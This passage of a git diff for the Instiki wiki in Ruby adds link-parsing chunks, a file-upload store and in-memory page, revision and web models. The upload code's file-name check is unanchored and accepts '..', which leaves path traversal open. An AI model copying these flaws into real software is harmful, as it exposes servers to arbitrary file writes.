+  def scheme
+    @original_scheme or (@user ? 'mailto' : 'http')
+  end
+
+  def scheme_delimiter
+    scheme == 'mailto' ? ':' : '://'
+  end
+
+  def user_delimiter
+     '@' unless @user.nil?
+  end
+
+  def port_delimiter
+     ':' unless @port.nil?
+  end
+
+  def query_delimiter
+     '?' unless @query.nil?
+  end
+
+  def uri
+    [scheme, scheme_delimiter, user, user_delimiter, host, port_delimiter, port, path, 
+      query_delimiter, query].compact.join
+  end
+
+end
+
+# uri with mandatory scheme but less restrictive hostname, like
+# http://localhost:2500/blah.html
+class LocalURIChunk < URIChunk
+
+  unless defined? LocalURIChunk::LOCAL_URI_REGEXP
+    # hostname can be just a simple word like 'localhost'
+    ANY_HOSTNAME = "(?:#{DOMLABEL}\\.)*#{TOPLABEL}\\.?"
+    
+    # The basic URI expression as a string
+    # Scheme and hostname are mandatory
+    LOCAL_URI =
+        "(?:(#{SCHEME})://)+" +       # Mandatory scheme://     (\1)
+        "(?:(#{USERINFO})@)?" +       # Optional userinfo@      (\2)
+        "(#{ANY_HOSTNAME})" +         # Mandatory hostname      (\3)
+        "(?::(#{PORT}))?" +           # Optional :port          (\4)
+        "(#{ABS_PATH})?"  +           # Optional absolute path  (\5)
+        "(?:\\?(#{QUERY}))?" +        # Optional ?query         (\6)
+        "(?:\\#(#{FRAGMENT}))?" +     # Optional #fragment      (\7)
+        '(?=\.?(?:\s|\)|\z))'         # ends only with optional dot + space or ")" 
+                                      # or end of the string
+  
+    LOCAL_URI_REGEXP = Regexp.new(SUSPICIOUS_PRECEDING_CHARACTER + LOCAL_URI, Regexp::EXTENDED, 'N')
+  end
+
+  def LocalURIChunk.pattern
+    LOCAL_URI_REGEXP
+  end
+
+end
diff --git a/app/models/chunks/wiki.rb b/app/models/chunks/wiki.rb
new file mode 100644
index 00000000..840f644a
--- /dev/null
+++ b/app/models/chunks/wiki.rb
@@ -0,0 +1,141 @@
+require 'wiki_words'
+require 'chunks/chunk'
+require 'chunks/wiki'
+require 'cgi'
+
+# Contains all the methods for finding and replacing wiki related links.
+module WikiChunk
+  include Chunk
+
+  # A wiki reference is the top-level class for anything that refers to
+  # another wiki page.
+  class WikiReference < Chunk::Abstract
+
+    # Name of the referenced page
+    attr_reader :page_name
+    
+    # the referenced page
+    def refpage
+      @content.web.pages[@page_name]
+    end
+  
+  end
+
+  # A wiki link is the top-level class for links that refers to
+  # another wiki page.
+  class WikiLink < WikiReference
+ 
+    attr_reader :link_text, :link_type
+
+    def initialize(match_data, content)
+      super
+      @link_type = :show
+    end
+
+    def self.apply_to(content)
+      content.gsub!( self.pattern ) do |matched_text|
+        chunk = self.new($~, content)
+        if chunk.textile_url?
+          # do not substitute
+          matched_text
+        else
+          content.add_chunk(chunk)
+          chunk.mask
+        end
+      end
+    end
+
+    # the referenced page
+    def refpage
+      @content.web.pages[@page_name]
+    end
+
+    def textile_url?
+      not @textile_link_suffix.nil?
+    end
+
+  end
+
+  # This chunk matches a WikiWord. WikiWords can be escaped
+  # by prepending a '\'. When this is the case, the +escaped_text+
+  # method will return the WikiWord instead of the usual +nil+.
+  # The +page_name+ method returns the matched WikiWord.
+  class Word < WikiLink
+
+    attr_reader :escaped_text
+    
+    unless defined? WIKI_WORD
+      WIKI_WORD = Regexp.new('(":)?(\\\\)?(' + WikiWords::WIKI_WORD_PATTERN + ')\b', 0, "utf-8")
+    end
+
+    def self.pattern
+      WIKI_WORD
+    end
+
+    def initialize(match_data, content)
+      super
+      @textile_link_suffix, @escape, @page_name = match_data[1..3]
+      if @escape 
+        @unmask_mode = :escape
+        @escaped_text = @page_name
+      else
+        @escaped_text = nil
+      end
+      @link_text = WikiWords.separate(@page_name)
+      @unmask_text = (@escaped_text || @content.page_link(@page_name, @link_text, @link_type))
+    end
+
+  end
+
+  # This chunk handles [[bracketted wiki words]] and 
+  # [[AliasedWords|aliased wiki words]]. The first part of an
+  # aliased wiki word must be a WikiWord. If the WikiWord
+  # is aliased, the +link_text+ field will contain the
+  # alias, otherwise +link_text+ will contain the entire
+  # contents within the double brackets.
+  #
+  # NOTE: This chunk must be tested before WikiWord since
+  #       a WikiWords can be a substring of a WikiLink. 
+  class Link < WikiLink
+    
+    unless defined? WIKI_LINK
+      WIKI_LINK = /(":)?\[\[\s*([^\]\s][^\]]+?)\s*\]\]/
+      LINK_TYPE_SEPARATION = Regexp.new('^(.+):((file)|(pic))$', 0, 'utf-8')
+      ALIAS_SEPARATION = Regexp.new('^(.+)\|(.+)$', 0, 'utf-8')
+    end    
+        
+    def self.pattern() WIKI_LINK end
+
+    def initialize(match_data, content)
+      super
+      @textile_link_suffix, @page_name = match_data[1..2]
+      @link_text = @page_name
+      separate_link_type
+      separate_alias
+      @unmask_text = @content.page_link(@page_name, @link_text, @link_type)
+    end
+
+    private
+
+    # if link wihin the brackets has a form of [[filename:file]] or [[filename:pic]], 
+    # this means a link to a picture or a file
+    def separate_link_type
+      link_type_match = LINK_TYPE_SEPARATION.match(@page_name)
+      if link_type_match
+        @link_text = @page_name = link_type_match[1]
+        @link_type = link_type_match[2..3].compact[0].to_sym
+      end
+    end
+
+    # link text may be different from page name. this will look like [[actual page|link text]]
+    def separate_alias
+      alias_match = ALIAS_SEPARATION.match(@page_name)
+      if alias_match
+        @page_name, @link_text = alias_match[1..2]
+      end
+      # note that [[filename|link text:file]] is also supported
+    end  
+  
+  end
+  
+end
diff --git a/app/models/file_yard.rb b/app/models/file_yard.rb
new file mode 100644
index 00000000..b35dda2e
--- /dev/null
+++ b/app/models/file_yard.rb
@@ -0,0 +1,58 @@
+require 'fileutils'
+require 'instiki_errors'
+
+class FileYard
+
+  attr_reader :files_path
+
+  def initialize(files_path, max_upload_size)
+    @files_path, @max_upload_size = files_path, max_upload_size
+    FileUtils.mkdir_p(@files_path) unless File.exist?(@files_path)
+    @files = Dir["#{@files_path}/*"].collect{|path| File.basename(path) if File.file?(path) }.compact
+  end
+
+  def upload_file(name, io)
+    sanitize_file_name(name)
+    if io.kind_of?(Tempfile)
+      io.close
+      check_upload_size(io.size)
+      File.chmod(600, file_path(name)) if File.exists? file_path(name)
+      FileUtils.mv(io.path, file_path(name))
+    else
+      content = io.read
+      check_upload_size(content.length)
+      File.open(file_path(name), 'wb') { |f| f.write(content) }
+    end
+    # just in case, restrict read access and prohibit write access to the uploaded file
+    FileUtils.chmod(0440, file_path(name))
+  end
+
+  def files
+    Dir["#{files_path}/*"].collect{|path| File.basename(path) if File.file?(path)}.compact
+  end
+
+  def has_file?(name)
+    files.include?(name)
+  end
+
+  def file_path(name)
+    "#{files_path}/#{name}"
+  end
+
+  SANE_FILE_NAME = /[a-zA-Z0-9\-_\. ]{1,255}/
+
+  def sanitize_file_name(name)
+    unless name =~ SANE_FILE_NAME or name == '.' or name == '..'
+      raise Instiki::ValidationError.new("Invalid file name: '#{name}'.\n" +
+            "Only latin characters, digits, dots, underscores, dashes and spaces are accepted.")
+    end
+  end
+  
+  def check_upload_size(actual_upload_size)
+    if actual_upload_size > @max_upload_size.kilobytes
+      raise Instiki::ValidationError.new("Uploaded file size (#{actual_upload_size / 1024} " + 
+              "kbytes) exceeds the maximum (#{@max_upload_size} kbytes) set for this wiki")
+    end
+  end
+
+end
diff --git a/app/models/page.rb b/app/models/page.rb
index 4b920679..5926fb85 100644
--- a/app/models/page.rb
+++ b/app/models/page.rb
@@ -1,136 +1,120 @@
-class Page < ActiveRecord::Base
-  belongs_to :web
-  has_many :revisions, :order => 'id', :dependent => :destroy
-  #In many cases, we don't need to instantiate the full revisions (with all that textual data)
-  has_many :rev_ids, :order => 'id', :class_name => 'Revision', :select => 'id, revised_at, page_id, author, ip'
-  has_many :wiki_references, :order => 'referenced_name'
-  has_one :current_revision, :class_name => 'Revision', :order => 'id DESC'
+require 'date'
+require 'page_lock'
+require 'revision'
+require 'wiki_words'
+require 'chunks/wiki'
 
-  def name
-    read_attribute(:name).as_utf8
+class Page
+  include PageLock
+
+  attr_reader :name, :web
+  attr_accessor :revisions
+  
+  def initialize(web, name)
+    raise 'nil web' if web.nil?
+    raise 'nil name' if name.nil?
+    @web, @name, @revisions = web, name, []
   end
 
-  def revise(content, name, time, author, renderer)
-    revisions_size = new_record? ? 0 : rev_ids.size
-    if (revisions_size > 0) and content == current_revision.content and name == self.name
+  def revise(content, created_at, author)
+
+    if not @revisions.empty? and content == @revisions.last.content
       raise Instiki::ValidationError.new(
           "You have tried to save page '#{name}' without changing its content")
     end
-    
-    self.name = name
-    author = Author.new(author.to_s) unless author.is_a?(Author)
 
     # Try to render content to make sure that markup engine can take it,
-    renderer.revision = Revision.new(
-       :page => self, :content => content, :author => author, :revised_at => time)
-    renderer.display_content(update_references = true)
+    # before addin a revision to the page
+    Revision.new(self, @revisions.length, content, created_at, author).force_rendering
 
     # A user may change a page, look at it and make some more changes - several times.
     # Not to record every such iteration as a new revision, if the previous revision was done 
     # by the same author, not more than 30 minutes ago, then update the last revision instead of
     # creating a new one
-    if (revisions_size > 0) && continous_revision?(time, author)
-      current_revision.update_attributes(:content => content, :revised_at => time)
+    if !@revisions.empty? && continous_revision?(created_at, author)
+      @revisions.last.created_at = created_at
+      @revisions.last.content = content
+      @revisions.last.clear_display_cache
     else
-      revisions.build(:content => content, :author => author, :revised_at => time)
+      @revisions << Revision.new(self, @revisions.length, content, created_at, author)
     end
-    save
+
+    self.revisions.last.force_rendering
+    # at this point the page may not be inserted in the web yet, and therefore 
+    # references to the page itself are rendered as "unresolved". Clearing the cache allows 
+    # the page to re-render itself once again, hopefully _after_ it is inserted in the web
+    self.revisions.last.clear_display_cache
+    
+    @web.refresh_pages_with_references(@name) if @revisions.length == 1
+    
     self
+    
   end
 
-  def rollback(revision_number, time, author_ip, renderer)
-    roll_back_revision = self.revisions[revision_number]
-    if roll_back_revision.nil?
-      raise Instiki::ValidationError.new("Revision #{revision_number} not found")
-    end
-    author = Author.new(roll_back_revision.author.name, author_ip)
-    revise(roll_back_revision.content, self.name, time, author, renderer)
+  def rollback(revision_number, created_at, author_ip = nil)
+    roll_back_revision = @revisions[revision_number].dup
+    revise(roll_back_revision.content, created_at, Author.new(roll_back_revision.author, author_ip))
   end
-
+  
   def revisions?
-    rev_ids.size > 1
+    revisions.length > 1
   end
 
-  def previous_revision(revision)
-    revision_index = rev_ids.each_with_index do |rev, index| 
-      if rev.id == revision.id 
-        break index 
-      else
-        nil
-      end
-    end
-    if revision_index.nil? or revision_index == 0
-      nil
-    else
-      revisions[revision_index - 1]
-    end
+  def revised_on
+    created_on
   end
 
-  def references
-    web.select.pages_that_reference(name)
-  end
-
-  def wiki_words
-    wiki_references.select { |ref| ref.wiki_word? }.map { |ref| ref.referenced_name }
+  def in_category?(cat)
+    cat.nil? || cat.empty? || categories.include?(cat)
   end
 
   def categories
-    wiki_references.select { |ref| ref.category? }.map { |ref| ref.referenced_name }
+    display_content.find_chunks(Category).map { |cat| cat.list }.flatten
+  end
+
+  def authors
+    revisions.collect { |rev| rev.author }
+  end
+
+  def references
+    @web.select.pages_that_reference(name)
   end
 
   def linked_from
-    web.select.pages_that_link_to(name)
+    @web.select.pages_that_link_to(name)
   end
 
-  def redirects
-    wiki_references.select { |ref| ref.redirected_page? }.map { |ref| ref.referenced_name }
-  end  
-
   def included_from
-    web.select.pages_that_include(name)
+    @web.select.pages_that_include(name)
   end
 
   # Returns the original wiki-word name as separate words, so "MyPage" becomes "My Page".
   def plain_name
-    web.brackets_only? ? name.escapeHTML.html_safe : WikiWords.separate(name).escapeHTML.html_safe
+    @web.brackets_only ? name : WikiWords.separate(name)
   end
 
-  LOCKING_PERIOD = 30.minutes
-
-  def lock(time, locked_by)
-    update_attributes(:locked_at => time, :locked_by => locked_by)
-  end
-  
-  def lock_duration(time)
-    ((time - locked_at) / 60).to_i unless locked_at.nil?
-  end
-  
-  def unlock
-    update_attribute(:locked_at, nil)
-  end
-  
-  def locked?(comparison_time)
-    locked_at + LOCKING_PERIOD > comparison_time unless locked_at.nil?
+  # used to build chunk ids. 
+  def id
+    @id ||= name.unpack('H*').first
   end
 
-  def to_param
-    name.as_utf8
+  def link(options = {})
+    @web.make_link(name, nil, options)
+  end
+
+  def author_link(options = {})
+    @web.make_link(author, nil, options)
   end
 
   private
 
-    def continous_revision?(time, author)
-      (current_revision.author == author) && (revised_at + 30.minutes > time)
-    end
+  def continous_revision?(created_at, author)
+    @revisions.last.author == author && @revisions.last.created_at + 30.minutes > created_at
+  end
+
+  # Forward method calls to the current revision, so the page responds to all revision calls
+  def method_missing(method_symbol)
+    revisions.last.send(method_symbol)
+  end
 
-    # Forward method calls to the current revision, so the page responds to all revision calls
-    def method_missing(method_id, *args, &block)
-      method_name = method_id.to_s
-      # Perform a hand-off to AR::Base#method_missing
-      if @attributes.include?(method_name) or md = /(=|\?|_before_type_cast)$/.match(method_name)
-        super(method_id, *args, &block)
-      else
-        current_revision.send(method_id)
-      end
-    end
 end
diff --git a/app/models/page_lock.rb b/app/models/page_lock.rb
new file mode 100644
index 00000000..276274e6
--- /dev/null
+++ b/app/models/page_lock.rb
@@ -0,0 +1,23 @@
+# Contains all the lock methods to be mixed in with the page
+module PageLock
+  LOCKING_PERIOD = 30 * 60 # 30 minutes
+
+  attr_reader :locked_by
+
+  def lock(time, locked_by)
+    @locked_at, @locked_by = time, locked_by
+  end
+  
+  def lock_duration(time)
+    ((time - @locked_at) / 60).to_i unless @locked_at.nil?
+  end
+  
+  def unlock
+    @locked_at = nil
+  end
+  
+  def locked?(comparison_time)
+    @locked_at + LOCKING_PERIOD > comparison_time unless @locked_at.nil?
+  end
+
+end
\ No newline at end of file
diff --git a/app/models/page_observer.rb b/app/models/page_observer.rb
deleted file mode 100644
index aab72fa8..00000000
--- a/app/models/page_observer.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# This class maintains the state of wiki references for newly created or newly deleted pages
-class PageObserver < ActiveRecord::Observer
-  
-  def after_create(page)
-    WikiReference.update_all("link_type = '#{WikiReference::LINKED_PAGE}'", 
-        ['referenced_name = ?', page.name])
-  end
-
-  def before_destroy(page)
-    WikiReference.delete_all ['page_id = ?', page.id]
-    WikiReference.update_all("link_type = '#{WikiReference::WANTED_PAGE}'", 
-        ['referenced_name = ?', page.name])
-  end
-
-end
\ No newline at end of file
diff --git a/app/models/page_set.rb b/app/models/page_set.rb
index f8e84df4..5b298ea6 100644
--- a/app/models/page_set.rb
+++ b/app/models/page_set.rb
@@ -7,7 +7,7 @@ class PageSet < Array
     @web = web
     # if pages is not specified, make a list of all pages in the web
     if pages.nil?
-      super(web.pages)
+      super(web.pages.values)
     # otherwise use specified pages and condition to produce a set of pages
     elsif condition.nil?
       super(pages)
@@ -17,9 +17,10 @@ class PageSet < Array
   end
 
   def most_recent_revision
-    self.map { |page| page.revised_at }.max || Time.at(0)
+    self.map { |page| page.created_at }.max || Time.at(0)
   end
 
+
   def by_name
     PageSet.new(@web, sort_by { |page| page.name })
   end
@@ -27,28 +28,22 @@ class PageSet < Array
   alias :sort :by_name
 
   def by_revision
-    PageSet.new(@web, sort_by { |page| page.revised_at }).reverse 
+    PageSet.new(@web, sort_by { |page| page.created_at }).reverse 
   end
   
   def pages_that_reference(page_name)
-    all_referring_pages = WikiReference.pages_that_reference(@web, page_name)
-    self.select { |page| all_referring_pages.include?(page.name) }
+    self.select { |page| page.wiki_references.include?(page_name) }
   end
   
   def pages_that_link_to(page_name)
-    all_linking_pages = WikiReference.pages_that_link_to(@web, page_name)
-    self.select { |page| all_linking_pages.include?(page.name) }
+    self.select { |page| page.wiki_words.include?(page_name) }
   end
 
   def pages_that_include(page_name)
-    all_including_pages = WikiReference.pages_that_include(@web, page_name)
-    self.select { |page| all_including_pages.include?(page.name) }
+    self.select { |page| page.wiki_includes.include?(page_name) }
   end
 
   def pages_authored_by(author)
-    all_pages_authored_by_the_author = 
-        Page.connection.select_all(sanitize_sql([
-            "SELECT page_id FROM revision WHERE author = '?'", author]))
     self.select { |page| page.authors.include?(author) }
   end
 
@@ -62,43 +57,33 @@ class PageSet < Array
   # references and so cannot be orphans
   # Pages that refer to themselves and have no links from outside are oprphans.
   def orphaned_pages
-    never_orphans = web.authors + ['HomePage']
+    never_orphans = web.select.authors + ['HomePage']
     self.select { |page|
       if never_orphans.include? page.name
         false
       else
-        references = (WikiReference.pages_that_reference(@web, page.name) +
-                      WikiReference.pages_redirected_to(@web, page.name)).uniq
-        references.empty? or references == [page.name]
+        references = pages_that_reference(page.name)
+        references.empty? or references == [page]
       end
     }
   end
 
-  def pages_in_category(category)
-    self.select { |page|
-      WikiReference.pages_in_category(web, category).map.include?(page.name)
-    }
-  end
-
   # Returns all the wiki words in this page set for which
   # there are no pages in this page set's web
   def wanted_pages
-    known_pages = (web.select.names + redirected_names).uniq
-    wiki_words - known_pages
+    wiki_words - web.select.names
   end
 
   def names
     self.map { |page| page.name }
   end
-  
-  def redirected_names
-    self.wiki_words.select {|name| web.has_redirect_for?(name) }.uniq.sort
-  end
 
   def wiki_words
-    self.inject([]) { |wiki_words, page|
-        wiki_words + page.wiki_words
-    }.flatten.uniq.sort
+    self.inject([]) { |wiki_words, page| wiki_words << page.wiki_words }.flatten.uniq
+  end
+
+  def authors
+    self.inject([]) { |authors, page| authors << page.authors }.flatten.uniq.sort
   end
 
 end
diff --git a/app/models/revision.rb b/app/models/revision.rb
index c1a508b6..c5f0eb8a 100644
--- a/app/models/revision.rb
+++ b/app/models/revision.rb
@@ -1,8 +1,127 @@
-class Revision < ActiveRecord::Base
-  belongs_to :page
-  composed_of :author, :mapping => [ %w(author name), %w(ip ip) ]
+require 'diff'
+require 'wiki_content'
+require 'chunks/wiki'
+require 'date'
+require 'author'
+require 'page'
 
-  def content
-    read_attribute(:content).as_utf8
+class Revision
+
+  attr_accessor :page, :number, :content, :created_at, :author
+
+  def initialize(page, number, content, created_at, author)
+    @page, @number, @created_at, @author = page, number, created_at, author
+    self.content = content
+    @display_cache = nil
   end
+
+  def created_on
+    Date.new(@created_at.year, @created_at.mon, @created_at.day)
+  end
+
+  def pretty_created_at
+    # Must use DateTime because Time doesn't support %e on at least some platforms
+    DateTime.new(
+      @created_at.year, @created_at.mon, @created_at.day, @created_at.hour, @created_at.min
+    ).strftime "%B %e, %Y %H:%M" 
+  end
+
+
+# todo: drop next_revision, previuous_revision and number from here - unused code
+  def next_revision
+    page.revisions[number + 1]
+  end
+
+  def previous_revision
+    number > 0 ? page.revisions[number - 1] : nil
+  end
+
+  # Returns an array of all the WikiIncludes present in the content of this revision.
+  def wiki_includes
+    unless @wiki_includes_cache 
+      chunks = display_content.find_chunks(Include)
+      @wiki_includes_cache = chunks.map { |c| ( c.escaped? ? nil : c.page_name ) }.compact.uniq
+    end
+    @wiki_includes_cache
+  end  
+
+  # Returns an array of all the WikiReferences present in the content of this revision.
+  def wiki_references
+    unless @wiki_references_cache 
+      chunks = display_content.find_chunks(WikiChunk::WikiReference)
+      @wiki_references_cache = chunks.map { |c| ( c.escaped? ? nil : c.page_name ) }.compact.uniq
+    end
+    @wiki_references_cache
+  end  
+
+  # Returns an array of all the WikiWords present in the content of this revision.
+  def wiki_words
+    unless @wiki_words_cache
+      wiki_chunks = display_content.find_chunks(WikiChunk::WikiLink)
+      @wiki_words_cache = wiki_chunks.map { |c| ( c.escaped? ? nil : c.page_name ) }.compact.uniq
+    end
+    @wiki_words_cache
+  end
+
+  # Returns an array of all the WikiWords present in the content of this revision.
+  # that already exists as a page in the web.
+  def existing_pages
+    wiki_words.select { |wiki_word| page.web.pages[wiki_word] }
+  end
+
+  # Returns an array of all the WikiWords present in the content of this revision
+  # that *doesn't* already exists as a page in the web.
+  def unexisting_pages
+    wiki_words - existing_pages
+  end  
+
+  # Explicit check for new type of display cache with chunks_by_type method.
+  # Ensures new version works with older snapshots.
+  def display_content
+    unless @display_cache && @display_cache.respond_to?(:chunks_by_type)
+      @display_cache = WikiContent.new(self)
+      @display_cache.render!
+    end
+    @display_cache
+  end
+
+  def display_diff
+    previous_revision ? HTMLDiff.diff(previous_revision.display_content, display_content) : display_content
+  end
+
+  def clear_display_cache
+    @wiki_words_cache = @published_cache = @display_cache = @wiki_includes_cache = 
+      @wiki_references_cache = nil
+  end
+
+  def display_published
+    unless @published_cache && @published_cache.respond_to?(:chunks_by_type)
+      @published_cache = WikiContent.new(self, {:mode => :publish})
+      @published_cache.render!
+    end
+    @published_cache
+  end
+
+  def display_content_for_export
+    WikiContent.new(self, {:mode => :export} ).render!
+  end
+  
+  def force_rendering
+    begin
+      display_content.render!
+    rescue => e
+      ApplicationController.logger.error "Failed rendering page #{@name}"
+      ApplicationController.logger.error e
+      message = e.message
+      # substitute content with an error message
+      self.content = <<-EOL
+          <p>Markup engine has failed to render this page, raising the following error:</p>
+          <p>#{message}</p>
+          <pre>#{self.content}</pre>
+      EOL
+      clear_display_cache
+      raise e
+    end
+  end
+
 end
diff --git a/app/models/system.rb b/app/models/system.rb
deleted file mode 100644
index 7ac1ad08..00000000
--- a/app/models/system.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class System < ActiveRecord::Base
-  set_table_name 'system'
-  validates_presence_of :password
-end
\ No newline at end of file
diff --git a/app/models/web.rb b/app/models/web.rb
index b79f4cea..60e936ee 100644
--- a/app/models/web.rb
+++ b/app/models/web.rb
@@ -1,221 +1,133 @@
-require 'instiki_stringsupport'
+require 'cgi'
+require 'page'
+require 'page_set'
+require 'wiki_words'
+require 'zip/zip'
 
-class Web < ActiveRecord::Base
-  ## Associations
+class Web
+  attr_accessor :name, :password, :safe_mode, :pages
+  attr_accessor :additional_style, :allow_uploads, :published
+  attr_reader :address
 
-  has_many :pages,      :dependent => :destroy
-  has_many :wiki_files, :dependent => :destroy
+  # there are getters for all these attributes, too
+  attr_writer :markup, :color, :brackets_only, :count_pages, :max_upload_size
 
-  has_many :revisions,  :through => :pages
+  def initialize(parent_wiki, name, address, password = nil)
+    self.address = address
+    @wiki, @name, @password = parent_wiki, name, password
 
-  ## Hooks
+    set_compatible_defaults
 
-  before_save :sanitize_markup
-  after_save :create_files_directory
-
-  before_validation :validate_address
-
-  ## Validations
-
-  validates_uniqueness_of :address, :message => 'already exists'
-  validates_length_of :color, :in => 3..6
-
-  ## Methods
-
-  # @return [Wiki] a new Wiki instance
-  def wiki
-    Wiki.new
+    @pages = {}
+    @allow_uploads = true
+    @additional_style = nil
+    @published = false
+    @count_pages = false
   end
 
-  def settings_changed?(markup, safe_mode, brackets_only)
-    self.markup != markup || 
-    self.safe_mode != safe_mode || 
-    self.brackets_only != brackets_only
+  # Explicitly sets value of some web attributes to defaults, unless they are already set
+  def set_compatible_defaults
+    @markup = markup()
+    @color = color()
+    @safe_mode = safe_mode()
+    @brackets_only = brackets_only()
+    @max_upload_size = max_upload_size()
+    @wiki = wiki
+  end
+  
+  # All below getters know their default values. This is necessary to ensure compatibility with 
+  # 0.9 storages, where they were not defined.
+  def brackets_only() @brackets_only || false end
+  def color() @color ||= '008B26' end
+  def count_pages()   @count_pages || false end
+  def markup() @markup ||= :textile end
+  def max_upload_size() @max_upload_size || 100; end
+  def wiki() @wiki ||= WikiService.instance; end
+
+   def add_page(name, content, created_at, author)
+     page = Page.new(self, name)
+     page.revise(content, created_at, author)
+     @pages[page.name] = page
+   end
+  
+  def address=(the_address)
+    if the_address != CGI.escape(the_address)
+      raise Instiki::ValidationError.new('Web name should contain only valid URI characters') 
+    end
+    @address = the_address
   end
 
-  def add_page(name, content, time, author, renderer)
-    page = page(name) || pages.build(:name => name)
-    page.revise(content, name, time, author, renderer)
-  end
-
-  # @return [Array<String>] a collection of all the names of the authors that 
-  #   have ever contributed to the pages for this Web
   def authors
-    revisions.all(
-      :select => "DISTINCT revisions.author",
-      :order  => "1"
-    ).collect(&:author)
+    select.authors 
   end
 
   def categories
     select.map { |page| page.categories }.flatten.uniq.sort
   end
 
-  # @param [String] name the name of some associated Page record to find
-  # @return [Page, nil] the associated Page record, or +nil+ if no record is 
-  #   found with the provided name
-  def page(name)
-    pages.find_by_name(name)
-  end
-
-  # @return [Page] the last associated Page record
-  def last_page
-    pages.last
-  end
-
-  # @param [String] name the name of some potential Page record
-  # @return [Boolean] whether or not a given Page record exists with a given 
-  #   name
   def has_page?(name)
-    pages.exists?(:name => name)
+    pages[name]
   end
 
-  def has_redirect_for?(name)
-     WikiReference.page_that_redirects_for(self, name) 
+  def has_file?(name)
+    wiki.file_yard(self).has_file?(name)
   end
 
-  def page_that_redirects_for(name)
-     page(WikiReference.page_that_redirects_for(self, name))
-  end
-
-  def has_file?(file_name)
-    wiki_files.exists?(:file_name => file_name)
-  end
-
-  def file_list(sort_order="file_name")
-    wiki_files.all(:order => sort_order)
-  end
-
-  def pages_that_link_to(page_name)
-    WikiReference.pages_that_link_to(self, page_name)
-  end
-
-  def pages_that_link_to_file(file_name)
-    WikiReference.pages_that_link_to_file(self, file_name)
-  end
-
-  # @param [String] file_name the name of some WikiFile of interest
-  # @return [String, nil] the description of some WikiFile of interest, nil if 
-  #   the WikiFile could not be found
-  def description(file_name)
-    wiki_files.find_by_file_name(file_name).try(:description)
-  end
-
-  # @return [Symbol] the type of markup used by this Web
-  def markup
-    self[:markup].to_sym
-  end
-
-  # @return [Hash] a Hash wherein the key is some author's name, and the 
-  #   values are an array of page names for that author.
-  def page_names_by_author
-    data = revisions.all(
-      :select => "DISTINCT revisions.author AS author, pages.name AS page_name",
-      :order  => "pages.name"
-    )
-
-    data.inject({}) do |result, revision|
-      result[revision.author] ||= []
-      result[revision.author] <<  revision.page_name
-      result
+  # Create a link for the given page name and link text based
+  # on the render mode in options and whether the page exists
+  # in the this web.
+  # The links a relative, and will work only if displayed on another WikiPage.
+  # It should not be used in menus, templates and such - instead, use link_to_page helper
+  def make_link(name, text = nil, options = {})
+    text = CGI.escapeHTML(text || WikiWords.separate(name))
+    mode = options[:mode] || :show
+    base_url = options[:base_url] || '..'
+    link_type = options[:link_type] || :show
+    case link_type.to_sym
+    when :show
+      UrlGenerator.new.make_page_link(mode, name, text, base_url, has_page?(name))
+    when :file
+      UrlGenerator.new.make_file_link(mode, name, text, base_url, has_file?(name))
+    when :pic
+      UrlGenerator.new.make_pic_link(mode, name, text, base_url, has_file?(name))
+    else
+      raise "Unknown link type: #{link_type}"
     end
   end
 
-  # OPTIMIZE Use the +delete_all+ with conditions for extra efficiency
-  def remove_pages(pages_to_be_removed)
-    pages_to_be_removed.each { |p| p.destroy }
+  # Clears the display cache for all the pages with references to 
+  def refresh_pages_with_references(page_name)
+    select.pages_that_reference(page_name).each { |page| 
+      page.revisions.each { |revision| revision.clear_display_cache }
+    }
+  end
+  
+  def refresh_revisions
+    select.each { |page| page.revisions.each { |revision| revision.clear_display_cache } }
   end
 
-  def revised_at
+  def remove_pages(pages_to_be_removed)
+    pages.delete_if { |page_name, page| pages_to_be_removed.include?(page) }
+  end
+  
+  def revised_on
     select.most_recent_revision
   end
-
+    
   def select(&condition)
-    PageSet.new(self, pages, condition)
+    PageSet.new(self, @pages.values, condition)
   end
-
-  def select_all
-    PageSet.new(self, pages, nil)
-  end
-
-  # @return [String] uses the +address+ attribute for this record's parameter name
-  def to_param
-    address
-  end
-
-  # Called by an +after_save+ hook. Creates the directory that houses this 
-  # Web's associated files.
-  #
-  # TODO Move this into the WikiFile model
-  def create_files_directory
-    return unless allow_uploads == 1
-
-    dummy_file = wiki_files.build(
-      :file_name   => "0",
-      :description => "0",
-      :content     => "0"
-    )
-
-    File.umask(0002)
-
-    begin
-      dummy_file.content_path.parent.mkpath
-      dummy_file.save
-      dummy_file.destroy
-    rescue => e
-      logger.error "Failed create files directory for #{address}: #{e}"
-      raise "Instiki could not create directory to store uploaded files. " +
-            "Please make sure that Instiki is allowed to create directory " +
-            "#{dummy_file.content_path.expand_path} and add files to it."
-    end
-  end
-
-  # @return [Pathname] the path to the files for this record
-  def files_path
-    path = Rails.root.join("webs")
-    if default_web?
-      path.join("files")
-    else
-      path.join(address, "files")
-    end
-  end
-
-  # @return [Pathname] the path to PNGs for this record
-  def blahtex_pngs_path
-    files_path.join("pngs")
-  end
-
+  
   private
 
     # Returns an array of all the wiki words in any current revision
     def wiki_words
-      pages.inject([]) { |wiki_words, page| wiki_words << page.wiki_words }.flatten.uniq
+      pages.values.inject([]) { |wiki_words, page| wiki_words << page.wiki_words }.flatten.uniq
     end
-
+    
     # Returns an array of all the page names on this web
     def page_names
-      pages.map { |p| p.name }
-    end
-
-  protected
-
-    def sanitize_markup
-      self.markup = markup.to_s
-    end
-
-    def validate_address
-      if ['create_system', 'create_web', 'delete_web', 'delete_files', 'web_list', ''].include?(address)
-         self.errors.add(:address, 'is not a valid address')
-        raise Instiki::ValidationError.new("\"#{address.purify.escapeHTML}\" #{errors.on(:address)}")     
-      end
-      unless address == CGI.escape(address)
-        self.errors.add(:address, 'should contain only valid URI characters')
-        raise Instiki::ValidationError.new("#{self.class.human_attribute_name('address')} #{errors.on(:address)}")
-      end
-    end
-
-    # @return [Boolean] whether or not this record is considered the default Web
-    def default_web?
-      defined?(DEFAULT_WEB) && address == DEFAULT_WEB
+      pages.keys
     end
+    
 end
diff --git a/app/models/wiki.rb b/app/models/wiki.rb
deleted file mode 100644
index 7c39fda1..00000000
--- a/app/models/wiki.rb
+++ /dev/null
@@ -1,111 +0,0 @@
-class Wiki 
-
-  cattr_accessor :storage_path, :logger
-  self.storage_path = Rails.root.join('storage')
-
-  def authenticate(password)
-    password == (system.password || 'instiki')
-  end
-
-  def create_web(name, address, password = nil)
-    @webs = nil
-    Web.create(:name => name, :address => address, :password => password) 
-  end
-
-  def delete_web(address)
-    web = Web.find_by_address(address)
-    unless web.nil?
-      web.destroy
-      @webs = nil
-    end
-  end
-
